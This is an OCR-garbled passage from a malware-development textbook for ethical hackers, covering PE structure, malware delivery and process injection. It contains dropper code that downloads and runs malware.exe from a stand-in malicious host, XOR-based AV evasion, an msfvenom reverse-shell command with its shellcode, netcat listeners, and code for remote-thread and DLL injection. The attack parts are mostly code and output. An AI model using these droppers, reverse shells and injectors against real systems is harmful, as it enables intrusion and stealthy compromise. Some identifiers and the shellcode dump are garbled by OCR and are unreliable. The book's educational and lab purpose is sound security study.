but for PE files, it’s not. This structure houses significant variables
such as AddressOfEntryPoint, ImageBase, Section Alignment,

SizeofImage, SizeOfHeaders, and the patabirectory.

Both 32-bit and 64-bit versions of this structure exist:

https://learn.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-

image_optional_header64.



https://learn.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-image_optional_header64
https://learn.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-image_optional_header64

In PE-bear, it look like this:
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Figure 1.9 — Optional header

Here, I’d like to point your attention to IMAGE_DATA_DIRECTORY:

typedef struct _IMAGE_DATA_DIRECTORY {
DWORD VirtualAddress;



DWORD Size;
} IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY;

It is a list of info. It’s just a collection with 16 elements, and each of those

elements has a structure of two bworD values.
At the moment, PE files can have these data directories:

® Export Table

e Import Table

® Resource Table

® Exception Table

® Certificate Table

® Base Relocation Table

* Debug

® Architecture

e Global Ptr

® TLS Table

® Load Config Table

e Bound Import

o JAT (Import Address Table)

® Delay Import Descriptor

® CLR Runtime Header

e Reserved (must be zero)



As I said earlier, we will only go into more depth about a few of them.

e Section Table: It has an array of IMAGE_SECTION_ HEADER structures that
describe the sections of the PE file, such as the .text and .data

sections:

typedef struct _IMAGE_SECTION_HEADER {
BYTE Name[IMAGE_SIZEOF_SHORT_NAME];
union {
DWORD PhysicalAddress;
DWORD VirtualSize;
} Misc;
DWORD VirtualAddress;
DWORD SizeOfRawData;
DWORD PointerToRawData;
DWORD PointerToRelocations;
DWORD PointerToLinenumbers;
WORD NumberOfRelocations;
WORD NumberOfLinenumbers;
DWORD Characteristics;
} IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;

There are 0x28 bytes in this structure.

e Sections: After the table of sections come the sections themselves:
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Figure 1.10 — Sections

Applications don’t directly access real memory; they only access virtual

memory. Sections are pieces of data that are put into virtual memory and

used directly for all work. The virtual address, or VA, is the address in

virtual memory without any offsets. In other words, VAs are the addresses



of memory that a program uses. In the ImageBase field, you can set where
the application should be downloaded from most often. It’s kind of like the
point in virtual memory where a program area starts. Relative virtual
address (RVA) differences are measured from this point. With the help of
the following method, we can figure out RVA: RVA = VA - ImageBase. Here,
we always know about ImageBase, and if we have either VA or RVA, we can

get one thing through the other.

The section table sets the size of each section, so each section must be a

certain size. To do this, NULL bytes (e0) are added to the sections.

In Windows NT, an application usually has different sections that have
already been set up, such as .text, .bss, .rdata, .data, and .rsrc. Some of

these sections are used, but not all, depending on the purpose:
o .text: All code parts in Windows live in a section called . text.

e .rdata: The read-only data on the file system, such as strings and

constants reside in a section called .rdata.

e .rsrc: The .rsrc is a resource section. It has details about resources. It
often shows icons and pictures that are part of the file’s resources. It
starts with a resource directory structure, like most other sections, but
the data in this section is further organized into a resource tree.
IMAGE_RESOURCE_DIRECTORY, which is shown ahead, is the tree’s root

and nodes:

typedef struct _IMAGE_RESOURCE_DIRECTORY {
DWORD Characteristics;
DWORD TimeDateStamp;
WORD MajorVersion;
WORD MinorVersion;



WORD NumberOfNamedEntries;
WORD NumberOfIdEntries;
} IMAGE_RESOURCE_DIRECTORY, *PIMAGE_RESOURCE_DIRECTORY;
e .edata: The export data for an executable or DLL is stored in the
.edata section. If this part is there, it will have an export directory that
lets you get to the export information. The IMAGE_EXPORT_DIRECTORY

structure is as follows:

typedef struct _IMAGE_EXPORT_DIRECTORY {
ULONG Characteristics;
ULONG TimeDateStamp;
USHORT MajorVersion;
USHORT MinorVersion;
ULONG Name;
ULONG Base;
ULONG NumberOfFunctions;
ULONG NumberOfNames;
PULONG *AddressOfFunctions;
PULONG *AddressOfNames;
PUSHORT *AddressOfNameOrdinals;
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;

Most of the time, exported symbols are in DLLs, but DLLs can also import
symbols. The main goal of the export table is to link the names and/or
numbers of the exported functions to their RVA or position in the process

memory card.

e Import Address Table: The Import Address Table is made up of
function pointers, and when DLLs are loaded, it is used to find the
names of functions. A compiled app was made so that all API calls
don’t use straight addresses that are hardcoded but instead use a

function pointer.



There are some small changes between writing C code for executables (exe)
and for dynamic link libraries (pLL). How code is called within a module or

program is the main difference between the two.

In the case of exe, there should be a method called main that the OS loader
calls when a new process is ready. Your program starts running as soon as

the operating system loader finishes its job.

When you want to run your application as a dynamic library, on the other
hand, the loader has already set up the process in memory, and that process
needs your bLL or any other pLL to be put into it. This could be because of

the job that your pLL does.

So, exe needs a function called main, and pLLs need a function called

plwMain. Basically, that’s the only difference that matters.

Practical example

Let’s create a simple DLL. To keep things simple, we make DLLs that only

show a message box:

/*
* Malware Development for Ethical Hackers
* hack4.c
* simple DLL
* author: @cocomelonc
*/
#include <windows.h>
#pragma comment (lib, "user32.1ib")
BOOL APIENTRY Dl1lMain(HMODULE moduleHandle, DWORD actionReason,
LPVOID reservedPointer) {
switch (actionReason) {
case DLL_PROCESS_ATTACH:



MessageBox(

NULL,
"Hello from evil.dll!",
"=A, A="
MB_OK
)
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
return TRUE;

}

It only has p1wmain, which is a DLL library’s main method. Unlike most
other DLLs, this one doesn’t list any exported calls. b1iMain code is run

right after DLL memory is loaded.

The first time that PE structures (including PE headers) are encountered,
they may be difficult to understand. None of the fundamental parts of this
book necessitate an in-depth knowledge of the PE structure. To make the
malware perform more complex techniques, however, a deeper
comprehension will be required, as some of the code requires parsing the
PE file’s headers and sections. This will probably be evident for readers in

the following chapters.

The art of deceiving a victim’s systems

We’ll provide some simple examples of malware delivery techniques. Note

that these are simplified examples and concepts; real-world malware often



employs more sophisticated strategies and evasion techniques, which you

can read about in future chapters:

¢ Download and execute malware from a remote server: A malware
might be hosted on a remote server and a dropper program can be used

to download and execute it:

#include <windows.h>
#include <urlmon.h>
#pragma comment(lib, "urlmon.1lib")
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE
hPrevInstance,
LPSTR 1lpCmdLine, int nCmdShow) {
URLDownloadToFile(NULL,
"http://maliciouswebsite.com/malware.exe",
"C:\\temp\\malware.exe", 0, NULL);
ShellExecute(NULL, "open", "C:\\temp\\malware.exe", NULL,
NULL, SW_SHOWNORMAL);
return 0,

}

e Drive by downloads (malicious web sites): When a user visits a
website with a malicious script, the script can download a malware
executable onto the user’s machine and run it. This is often achieved

using JavaScript on the website but can also be demonstrated using a

simple C program:

#include <windows.h>
#include <urlmon.h>
#pragma comment(lib, "urlmon.1lib")
int main() {
// The program can be triggered to run by visiting a
website
// that causes the execution of a script like this.
URLDownloadToFile(NULL,
"http://maliciouswebsite.com/malware.exe",



"C:\\temp\\malware.exe'", 0, NULL);
wWinExec("C:\\temp\\malware.exe", SW_SHOW);
return 0;

}

e Antivirus (AV)/endpoint detection response (EDR) evasion tricks:
An effective way to evade AV is to employ encryption. This might
involve encrypting a payload (i.e., the actual malicious code) and
decrypting it only when it’s about to be executed. The following is an

oversimplified example demonstrating this concept:

#include <windows.h>
#include <stdio.h>
// Function to perform simple XOR encryption/decryption
void xor_encrypt_decrypt(char* input, char key) {
char* iterator = input;
while(*iterator) {
*iterator A= key;
iterator++;
3
}

int main() {
char payload[] = "<MALICIOUS_PAYLOAD>";
printf("original payload: %s\n'", payload);
// Encrypt the payload
xor_encrypt_decrypt(payload, 'K');
printf("encrypted payload: %s\n", payload);
// At this point, the payload might not be recognized by AV
// When we're ready to execute it, we decrypt it
xor_encrypt_decrypt(payload, 'K');
printf("decrypted payload: %s\n", payload);
// Now we can execute our payload...
hack();
return 0;

}

e Ransomware: Ransomware is a form of malware that encrypts the

victim’s files. The perpetrator then demands a ransom from the victim



in exchange for restoring access to the data. The motive for
ransomware attacks is typically monetary, and unlike other types of
attacks, the victim is typically informed of the exploit and given
instructions on how to recover. To conceal their identity, attackers
frequently demand payment in a virtual currency, such as Bitcoin.
Ransomware attacks can be devastating, as they can result in the loss
of sensitive or proprietary data, disruption of regular operations,
monetary losses incurred to restore systems and files, and potential
reputational damage to an organization. Real ransomware creation is
unlawful and unethical, so we will not provide an example. Notably,
malware development for offensive security use case policy explicitly

prohibits the spreading of harmful content.

Nonetheless, the following is a simplified example of file encryption

using the Windows API, which is a common component of

ransomware attacks: https://github.com/PacktPublishing/Malware-

test/hack5.c.

This is a simple example that demonstrates file encryption, which is a
part of what ransomware does. However, it does not include other
elements such as user notifications, ransom demands, key management
(importantly, key destruction), network spreading, or any kind of
persistence or anti-detection mechanisms. Also, it’s not using a secure
encryption mode. In future chapters, we will analyze the source codes

of real ransomware.


https://github.com/PacktPublishing/Malware-Development-for-Ethical-Hackers/blob/main/chapter01/05-ransom-test/hack5.c
https://github.com/PacktPublishing/Malware-Development-for-Ethical-Hackers/blob/main/chapter01/05-ransom-test/hack5.c
https://github.com/PacktPublishing/Malware-Development-for-Ethical-Hackers/blob/main/chapter01/05-ransom-test/hack5.c

Malware development is the same as software development and it also has
its secrets and best practices. In this book, we will try to cover key tricks

and techniques

Summary

In the realm of ethical hacking, understanding malware development is a
vital and complex skill that transcends mere code writing. Malware
development for ethical purposes involves the simulation, analysis, and
study of malicious software to uncover tricks and techniques used by
hackers, enhance defense mechanisms, and provide insight into potential

threats.

By simulating malware, ethical hackers can develop robust security
measures and preemptively guard against future attacks. For instance, a
simple keylogger, written in C, can be designed to capture keystrokes,
demonstrating how malware can covertly gather sensitive information.
Another example might involve crafting a benign worm in C++ that
propagates across a controlled network, illustrating how malware can

spread and the importance of network security.

By delving into these and other examples, we will have laid the foundation
for understanding malware from an ethical perspective, emphasizing
responsible practices, adherence to legal frameworks, and the essential role
this knowledge plays in fortifying modern digital landscapes against

increasingly sophisticated threats.

In the next chapter, we will look at various injection techniques, one of the

classic tricks used in malware development.



2

Exploring Various Malware Injection
Attacks

When we talk about malware injection, we’re referring to the technique of
injecting malicious code into a running program. This type of attack can be
difficult to detect and defend against because the malware can piggyback on
an already-trusted program. It can use the legitimate program’s access to the
system to cause damage or steal data. In this chapter, we’ll explore the
different ways this type of attack can be carried out, and how you can

protect yourself from it.

In this chapter, we’re going to cover the following main topics:

Traditional injection approaches — code and DLL

Exploring hijacking techniques

Understanding asynchronous procedure call (APC) injection

Mastering API hooking techniques

Technical requirements

In this book, I will use the Kali Linux (https://www.kali.org/) and Parrot

Security OS (https://www.parrotsec.org/) virtual machines for development

and demonstration, and Windows 10 (https://www.microsoft.com/en-

us/software-download/windows10ISO) as the victim’s machine.



https://www.kali.org/
https://www.parrotsec.org/
https://www.microsoft.com/en-us/software-download/windows10ISO
https://www.microsoft.com/en-us/software-download/windows10ISO

The next thing we’ll want to do is set up our development environment in
Kali Linux. We’ll need to make sure we have the necessary tools installed,

such as a text editor, compiler, and more.

I just use NeoVim (https://github.com/neovim/neovim) with syntax

highlighting as a text editor. Neovim is a great choice if you’re looking for a
lightweight, efficient text editor, but you can use another you like, such as

VS Code (https://code.visualstudio.com/).

As far as compiling our examples, I’ll be using MinGW

(https://www.mingw-w64.org/) for Linux, which I installed by running the

following command:

$ sudo apt install mingw-*

Traditional injection approaches — code
and DLL

First of all, we should talk about code injection. What does code injection

mean? What’s the point?

The code injection technique is a simple way for one process — in this case,

malware — to add code to another process that is already working.

For example, your malware could be an injector from a phishing attack or a
Trojan that you successfully gave to your target victim. It could also be
anything that runs your code. And for some reason, you might want to run

your payload in a different process.

Where am I going with this? We won’t talk about making a Trojan in this

chapter, but let’s say that your code was run inside the firefox.exe


https://github.com/neovim/neovim
https://code.visualstudio.com/
https://www.mingw-w64.org/

executable file, which has a limited amount of time to run. Let’s say you
have successfully gotten a remote reverse shell, but you know that your
target has closed firefox.exe. If you want to keep your session going, you

must switch to another process.

Or let’s say you just want your code to run inside some legitimate process.
During a pentest, this often happens when you need to not only compromise

the system but also hide the attacker’s actions.

A simple example
Now, we’ll talk about payload injection using the debugging API, which is
a well-known classic method.

First, let’s prepare our payload. For simplicity, we’ll use the msfvenom

reverse shell payload from Kali Linux:

$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.1.5
LPORT=4444 -f c

The result of running this command looks like this:



windows/x64/shell reverse tcp LHOST=10.108.1.5 LPORT=4444 x64

[-] No platform was selected, mhunu1nv 1**. Module::Platform::Windows from the payload

No encoder specified, outputting raw payload

Payload size: 460 bytes

Final size of c file: 1963 bytes

uPﬂifﬁﬂd char buf[] =

ACFC\AB\ B\ ek \x T\ xe8\xc0\x00\x00 \ x00 \xa1\ x51 \xa1\x50"

"~WG]“xﬁL-x“un:uhtxx]=xw Rxn;-aaﬂ\m%hnublgrhﬂxxafxxﬁh“wﬁz"

"\ x18\x4B\x8b\x52\x20\x48\xBb\x72\ x50\ x48\x0f \xb7 \x4a\xba"
"\bd\x31\xc9\x48\x31\xc@\xac\x3c\x61\x7c\x02\x2 E1x7b\i&‘"
"\xcl\xc9\x0d\xb1\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52
AX20\x8b\X42\x3c\x48\x01\xad0\x8D\ B0\ xB8\x00\x00\x00\x48"

B\ N0\ TA\ 67\ x48\x01\ xd0\ x50\ xBb\ x&B\x1B8\x44\xBb\x40"
\X20\x49\x01\xd0\xe3\x56\x4B\xFFAXcO\x41\xBb\x 34\ xBB\x4B"
“\x01\xd6\x4d\x31\xc9\x48\x31\xc@\xac\xa1\xe1\xc9\x0d\x41"

W01\ xc1\x38\xe@\x75\xf1\x4c\x03\xbc\x26\x08\ 45\ %39 \xd1"

"\x75\xdB\x58\xh4\xBb\ x40\ %24\ x40\ x01\xd0\x66\x41\xBb\xbc"

TARGBANGA\XBD A0\ X1\ x40\ x01 \ xd0\ x 41\ X8\ XD\ B8\ 48\ x01"

ed0\ a1\ x58 b1\ x58\x5e \ x50\ x5 \ A1\ x58\x41\ x50\ b1\ x5a"

"\ehB\xBI\xec 20\ x41\x52 \xFf\xed\x58\x41\x59 \x5a\ 48\ x8b"

"\ 12\ xe0\x57\nf F\xFFAxFFAxSd\xa0\xbe\x77\x73\x32\x5f\x33"
W2\ x00\x00\x41\x56'\ x40\ x8%\ xeb\ k4B \x81 \xech xad\x01\x00"
"irﬂ“kxiﬂilﬁqﬂxﬁh‘-ﬁﬁixhtlxu?‘rDP‘llllxhqH;HJ\xﬂﬂiiﬂlhx@h"

\xa1\x54\x60\x80 \xed\xbc\x89\xf1\xk1\xba\xbc\x77\x26\x07"
*;(th[l‘w XAC\ B9\ xea\x68\x01\x01\x00'\ x00\x59\x41\xba\x29"
"\xB\x6b\x00\xff\xd5\x50\ x50\ xbd\x31\xcO\x4d\x31\xc0\x4B"
"\ffinco\x48\x89\xc2\x48\xffixcO\x4B\x89\xc1\x41\xba\xea"
"\x0f\xdf\xe@\xff\xd5\x48\xB9\xc7\x6a\x10\x41\x58\x4c\xB9"
A2 \xa8\x89\nfo\x41\xba\x99\ xa5\x 74 \x61 \x i\ xd5\x48\x81"
AXCH\x60\x02\x00\x00\x49\xbB\x63\x6d\x64\x00\x00\x00\x00"
"\x00\x&1\x50\x41\x50\x48\xB9\xe2 \x57\x57\x57\x4d\x31\xc0"
"\x6a\x0d\x59 \x41\x50\xe2 \xfc\x66\xc7 \xbb\x24\x54\x01\x01"
"\x4B8\xBd\ x4\ x24\x18\xch\x00\ x68\ 48\ x89\xeh\ x56\ x50\ x41"
"\S0\ a1\ x50\ x b1\ x50 \xa0\xff\xco\xa1\x50\x49\xFf\xcB\xid"
B9\ xc1\xhch\xB9\xc 1\ xk 1\ xba\x79\xce\ 3\ B \xt i\ xdS\x48"
N3\ xd2\x48\xFf\xca\xBb\x0e\x41\xba\x08\xB7 \x1d\x60\xff"
"\xd5\xbb\xf@\xb5\xa2\x56\x41\xba\xa6\x05\xbd\xad\xff\xd5"
"\x4B8\x83\xch\x28\x3c\x06\x7c\x0a\x80\xfb\xed\x75\x05\xbb"
ARGTARIINKT2\x6T\x6a \x00\x59\x41\x89 \xda\xft\xd5 ;




Figure 2.1 — Generating the msfvenom payload

Here, 10.10.1.5 is our attacker’s machine IP address, and 4444 is the port

where we’ll run the listener later.

IMPORTANT NOTE

In your case, the payload may differ slightly as it depends on the metasp loit package

version you're using.

Let’s start with some simple C++ code for our malware. We used this in

Chapter 1: https://github.com/PacktPublishing/Malware-Development-for-

Ethical-Hackers/blob/main/chapter02/01-traditional-injection/hack1.c.

Only our payload is different. Let’s get started.
IMPORTANT NOTE
Note that most of the examples in this book are 64-bit malware.

First, compile the code:

$ x86_64-w64-mingw32-gcc hackl.c -o hackl.exe -s -ffunction-
sections -fdata-sections -Wno-write-strings -fno-exceptions -
fmerge-all-constants -static-libstdc++ -static-libgcc

The result of running this command (in our case, on Kali Linux) looks like

this:


https://github.com/PacktPublishing/Malware-Development-for-Ethical-Hackers/blob/main/chapter02/01-traditional-injection/hack1.c
https://github.com/PacktPublishing/Malware-Development-for-Ethical-Hackers/blob/main/chapter02/01-traditional-injection/hack1.c

~/./packtpub/Malware-Development-for-Ethical-Hackers/c
hapterd2/01-traditional-injection
hackl.c -0 hackl.exe

~/../packtpub/Malware-Development-for-Ethical-Hackers/c
hapterd2/01-traditional-injection

total 204

ruxr=xr-X 1 cocomelonc cocomelonc 15360 Feb 23 23:03
rwxr-xr-x 1 cocomelonc cocomelonc 2938 Feb 23
rwxr-xr-x 1 cocomelonc cocomelonc 1612 Det

-rwxr=xr-x 1 cocomelonc cocomelonc 2661 Dec

-rwxr-xr-x 1 cocomelonc cocomelonc 40448 Aug 25 1
-rwxr-xr-x 1 cocomelonc cocomelonc 92739 Aug 25 1
Twxr=xr-x 1 cocomelonc cocomelonc 477 Aug 25 16:26 el

rwxr-xr-X 1 cocomelonc cocomelonc 40960 Aug 22 2023 hack2.ex

Figure 2.2 — Compiling hackl.c

Next, we’ll get our listener ready:

$ nc -lvp 4444

You’ll see the following on Parrot Security OS:



fparrot

Figure 2.3 — Preparing the netcat listener

Then, run the malware on the computer of the target:

$ .\hackl.exe

On my Windows 10 x64 VM, it looks like this:
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Figure 2.4 — Reverse shell successfully spawned
As you can see, everything is okay and the reverse shell has been spawned.

We will use Process Hacker

(https://processhacker.sourceforge.io/downloads.php) to investigate

hack1.exe. Process Hacker is an open source tool that allows you to see
what processes are operating on a device, as well as identify programs that
are consuming CPU resources and network connections associated with a

process.

On the Network tab, notice that our process has established a connection to

10.10.1.5:4444, which is the attacker’s host IP address:


https://processhacker.sourceforge.io/downloads.php
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Figure 2.5 — Network TCP connection established

A strange and unusual process that initiates a connection will immediately

raise suspicion; therefore, you must infiltrate a legitimate process.

Therefore, we will inject our payload into another process — in this case,

calc.exe:
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Figure 2.6 — The payload has been stored in the malware

Here, we’re diverting to a target process or, in other words, executing the
payload in another process on the same machine — that is, in calc.exe or

firefox.exe.

Code injection example

In this technique, the attacker directly inserts malicious code into the target
process’s memory space. This code can be executed by manipulating the

target process’s execution flow. Code injection can involve techniques such
as remote thread injection, where a new thread is created within the target

process to execute the malicious code.

The first step is to allocate memory within the target process, and the buffer

must be at least as large as the payload:

il wiid P ET |

Figure 2.7 — Allocating memory in the target process



Then, you must copy your payload into the provided memory of the target

process (calc.exe in our case):
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Figure 2.8 — Copying the payload to the allocated memory

Then, you must ask the system to begin executing your payload in the target

process (calc.exe in our case):
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Figure 2.9 — Executing the payload in the target process
So, let’s code this basic logic.

At the time of writing, using built-in Windows API functions that are
implemented for diagnostic purposes is the most popular way to accomplish

this. The following options exist:

e VirtualAllocEx: https://docs.microsoft.com/en-

us/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex

e WriteProcessMemory: https://docs.microsoft.com/en-

us/windows/win32/api/memoryapi/nf-memoryapi-



https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex
https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex
https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-writeprocessmemory
https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-writeprocessmemory
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¢ CreateRemoteThread: https://docs.microsoft.com/en-

us/windows/win32/api/processthreadsapi/nf-processthreadsapi-

createremotethread

A simple example of doing this can be found at

https://github.com/PacktPublishing/Malware-Development-for-Ethical-

Hackers/blob/main/chapter02/01-traditional-injection/hack?2.c.

First, you must obtain the PID of the process, which you can input manually
in our case. Next, open the process using the OpenProcess

(https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-

processthreadsapi-openprocess) API from the Kernel32 library:

// Parse the target process ID

printf("Target Process ID: %i", atoi(argv[1]));
process_handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE,
DWORD (atoi(argv[1])));

Next, use virtualAllocEx to allocate a memory buffer for a remote process:

remote_buffer = VirtualAllocEx(process_handle, NULL,
payload_length, (MEM_RESERVE | MEM_COMMIT),
PAGE_EXECUTE_READWRITE);

Since writeProcessMemory permits copying data between processes, copy

our payload to the calc.exe process:

WriteProcessMemory(process_handle, remote_buffer, payload,
payload_length, NULL);

CreateRemoteThread is analogous to the createThread function, but it allows

you to specify which process should initiate the new thread:


https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-writeprocessmemory
https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createremotethread
https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createremotethread
https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createremotethread
https://github.com/PacktPublishing/Malware-Development-for-Ethical-Hackers/blob/main/chapter02/01-traditional-injection/hack2.c
https://github.com/PacktPublishing/Malware-Development-for-Ethical-Hackers/blob/main/chapter02/01-traditional-injection/hack2.c
https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocess
https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocess

remote_thread = CreateRemoteThread(process_handle, NULL, 0,
(LPTHREAD_START_ROUTINE)remote_buffer, NULL, O, NULL);

Okay; let’s compile this code:

$ x86_64-w64-mingw32-gcc hack2.c -o hack2.exe -s -ffunction-
sections -fdata-sections -Wno-write-strings -fno-exceptions -
fmerge-all-constants -static-libstdc++ -static-libgcc

The result of running this command on Kali Linux looks like this:

hack2.c -0 hack2.exe

«/../packtpub/Malware-Development-for-Ethical-Hackers/c
hapter2/01-traditional-injection

total 204

-rwir-xr-x 1 cocomelonc cocomelonc 40448 Feb 23 23:16 hack?
rwxr-xr-x 1 cocomelonc cocomelonc 15360 Feb 23 23:03 hacl
rwir-xr-x 1 cocomelonc cocomelonc 2938 Feb 23 23:00 hackl
-rwxr-xr-x 1 cocomelonc cocomelonc 1612 Dec 4 00:12 ha
-rwir-xr-x 1 cocomelonc cocomelonc 2661 Dec 3 23:50 hae
-PWAT-XT-X 1 melonc cocomelonc 4044B Aug 25 16:52 hack3

rwxr-xr-x 1 cocomelonc cocomelonc 92739 Aug 25 16:26 evil,

rwxr-xr-x 1 cocomelonc cocomelonc 477 Aug 25 16:26 «
Figure 2.10 — Compiling hack2.c

Now, prepare the netcat listener:

$ nc -nvlp 4444

On the victim’s machine, execute mspaint .exe first:
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Figure 2.11 — Running mspaint.exe

As we can see, the process ID for mspaint.exe is 3388.



Next, run our injector from the victim’s machine:

$ .\hack2.exe 3388

The result of running this command (for example, on a Windows 10 x64
VM) looks like this:
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Figure 2.12 — Running the injector

First, we can see that the ID of mspaint.exe is the same and that hack2.exe

is creating a new process called cmd.exe. On the Network tab, we can see

that our payload is being executed (since mspaint.exe has established a

connection to the attacker’s host):
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Figure 2.13 — The network connections of mspaint.exe

Consequently, let’s investigate the mspaint.exe process. If we navigate to

the Memory tab, we can locate the memory buffer we allocated:
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Figure 2.14 — Allocated memory in the mspaint.exe process

If you examine the source code, you’ll see that we allocated some
executable and readable memory buffers in our remote process

(mspaint.exe):

remote_buffer = VirtualAllocEx(process_handle, NULL,



payload_length, (MEM_RESERVE | MEM_COMMIT),
PAGE_EXECUTE_READWRITE);

By doing this, in Process Hacker, we can search for and sort by Protection,

scroll down, and identify regions that are both readable and executable:

&l mapant e e L1585) Properte - ) x

Gewrd Thvimta Pelvsenor Tivesl Tohen Moddes MO Beurgrweni Mandies AU Comeend

£ ridie e reguen e | Gebeh
| B sddrem Troe S Peolecl.. L -
O TP Lo LOOD e ol i3 &3 L irekew | palem e 10 .
(v TV Lo OO0 Iramge Carrst e ©. - iraiowsa 't peteen Dppeetd

() TR L9 100D EXS o =il o C o 0 poiems et

e 7Y L0004 L0 image Cawt WA R € Wrsdnens F rsiem e 12

e PO by 220001 R — WA R LT L T w—

i BT g ] Lrwnge - Corerl 0k B € sradiees 't rideen 0 gleai g

o PO e 3 1000 Iunge . Coreerut [ =] . veraioney Cryaiem 1 vomoiy 10

G PFR e OO0 rasge - Commat il e - o 't puire 1 el 10 ol

O T L ] O P — Mo K1 ey vt 17 12 o

e TP e 3080 P—— p PITRED T p— W T

e T ey 1 e Corernt s BN C o flyuien Npa 10

O FPF L 39000 e el i1 | - o ' pubem L g ol

(v TV L 0000 irvamgr Carest AT En G ko 't pviven Crighel 1, 8

0w PHFR 1 2 pi00 e orweyl Ea ‘e ' e Wnle 300

e TP 4 100 P p— Ao R O Wi e T Care

e TP i L 10008 P — wak R L T ——

G P i) 000 g Crmrul 0 "X . vraioes 't piitem X e 12 4

B TP b 100 mumge Lot LIFis Ex L reiony §oyviem L irombeess

(g, PR b L0 brasge ot Wkl - heratiossn 't e L wen 00 O
TR —— .

Actvat m

Figure 2.15 — Readable and executable memory regions

As we can see, there are numerous such regions within the memory of

mspaint.exe.

However, note how mspaint.exe has a ws2_32.d11 module loaded. This

should never happen in normal circumstances since that module is



responsible for sockets management:
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Figure 2.16 — ws2_32.dll

Thus, this is how code can be injected into a different process.

However, there’s a caveat: opening another process with write access is
restricted. Mandatory Integrity Control (MIC) is an example of a
safeguard. It’s a method for controlling object access based on an object’s

integrity level.

There are four levels of integrity:



e Low level: Processes that have restricted system access (Internet

Explorer)

e Medium level: This is the default for all processes that are started by
non-privileged users and also by administrator users with UAC
enabled

e High level: Processes that execute with administrator privileges
e System level: Used by sysTeM users, this level of system services and

processes require the utmost level of security

Next, we’ll dive into DLL injection.

DLL injection

Now, we will discuss a traditional DLL injection technique that utilizes

debugging API.

This involves injecting a Dynamic Link Library (DLL) into the address
space of a process. The malicious DLL is loaded by the target process as if
it were a legitimate component, giving the attacker control over the
process’s execution. DLL injection is commonly used to hook into system

functions, monitor or manipulate behavior, or achieve persistence.

DLL injection example

For convenience, we should construct DLLs that only display a message

box:



/*
evil.cpp
simple DLL for DLL inject to process
author: @cocomelonc
copyright: PacktPub
*/
#include <windows.h>
BOOL APIENTRY D11Main(HMODULE hModule, DWORD nReason, LPVOID
lpReserved) {
switch (nReason) {
case DLL_PROCESS_ATTACH:
MessageBoxX (
NULL,
"Meow from evil.dll!",
"=A, A=",
MB_OK
)
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;

}
return TRUE;

}

It only contains p11Main, the primary function of a DLL library. The DLL
does not declare any exported functions, as legitimate DLLs typically do.

The p1wmMain code is executed immediately following DLL memory loading.

This is significant in the context of DLL injection as we seek the simplest
means of executing code within the context of another process. This is why
the majority of malicious DLLs that are injected contain the majority of

their malicious code in p1imain. There are methods to force a process to



execute an exported function, but writing your code in b1Main is typically

the simplest method.

When executed in an injected process, our message of Meow from evil.dll!
should be displayed, indicating that the injection is working. Now, we can

compile it (on the attacker’s computer):

$ x86_64-w64-mingw32-g++ -shared -o evil.dll evil.c -fpermissive

The result of running this command (for example, on a Kali Linux VM)
looks like this:

~/../packtpub/Malware-Development-for-Ethical-Hackers/c
hapter02/01-traditional-1njection
evil.dll evil.c

~/../packtpub/Malware-Development-for-Ethical-Hackers/c
hapterd2/01-traditional-injection

total 200

rwxr-xr-x 1 cocomelonc cocomelonc 87123 Feb 23 23:3
rwxr-xr-x 1 cocomelonc cocomelonc 40448 Feb 23 23:23
-rwxr-xr-x 1 cocomelonc cocomelonc 3226 Feb 23 2
-rwxr-xr-x 1 cocomelonc cocomelonc 15360 Feb 23 23
-rwxr-xr-x 1 cocomelonc cocomelonc 2938 Feb 23 23
-rwxr-xr-x 1 cocomelonc cocomelonc 1612 Det
ruxr-xr-x 1 cocomelonc cocomelonc 408448 Au g 25 16:52

rWxr-xr-x 1 cocomelonc cocomelonc 477 Aug 25 16:26 ¢

Figure 2.17 — Compiling “evil” DLL: evil.c

Place it in a directory of your choosing (on the victim’s computer).



Now, all we need is a piece of code that will inject this library into our

preferred process.

In our case, we will discuss traditional DLL injection. Here, we allocate a
buffer whose capacity is at least equal to the length of the path to our DLL
on disk. The path is then copied into this buffer:
https://github.com/PacktPublishing/Malware-Development-for-Ethical-

Hackers/blob/main/chapter02/01-traditional-injection/hack3.c.

As you can see, it’s fairly straightforward. It is identical to our example
regarding code injection. The only distinction is that we add the path to our
DLL on disk:

// "malicious" DLL: our messagebox
char maliciousDLL[] = "evil.dll";
unsigned int dl1l_length = sizeof(maliciousDLL) + 1;

Before injecting and executing our DLL, we need the memory address of
LoadLibraryA — this is the API call we’ll execute in the context of the victim

process to load our DLL:

// Handle to kernel32 and pass it to GetProcAddress
HMODULE kernel32_handle = GetModuleHandle("Kernel32");
VOID *lbuffer = GetProcAddress(kernel32_handle,

"LoadLibraryA");

Now that we understand the injector’s code, we can test it. Build it by

running the following command:

$ x86_64-w64-mingw32-g++ -02 hack3.c -o hack3.exe -
I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-
sections -Wno-write-strings -fno-exceptions -fmerge-all-constants
-static-libstdc++ -static-libgcc -fpermissive


